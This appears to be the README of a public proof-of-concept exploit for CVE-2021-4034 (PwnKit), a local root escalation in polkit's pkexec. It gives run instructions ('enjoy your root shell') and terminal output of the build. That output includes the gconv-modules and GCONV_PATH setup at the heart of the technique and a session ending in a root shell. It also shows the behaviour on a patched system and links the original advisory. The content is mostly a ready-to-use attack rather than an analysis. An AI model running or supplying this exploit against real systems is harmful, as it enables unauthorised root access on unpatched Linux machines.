# CVE-2021-4034
One day for the polkit privilege escalation exploit
Just execute `make`, `./cve-2021-4034` and enjoy your root shell.
The original advisory by the real authors is [here](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt)
## PoC
If the exploit is working you'll get a root shell immediately:
```bash
localuser@ubuntu-poc:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
localuser@ubuntu-poc:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
```
Updating polkit on most systems will patch the exploit, therefore you'll get the usage and the program will exit:
```bash
localuser@ubuntu-poc:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
localuser@ubuntu-poc:~/CVE-2021-4034$
```
[4.0K] /data/pocs/4cba6fcbd236adf79eba3e74767c528392c6d54f
├── [ 274] cve-2021-4034.c
├── [ 400] Makefile
├── [ 266] pwnkit.c
└── [1.0K] README.md
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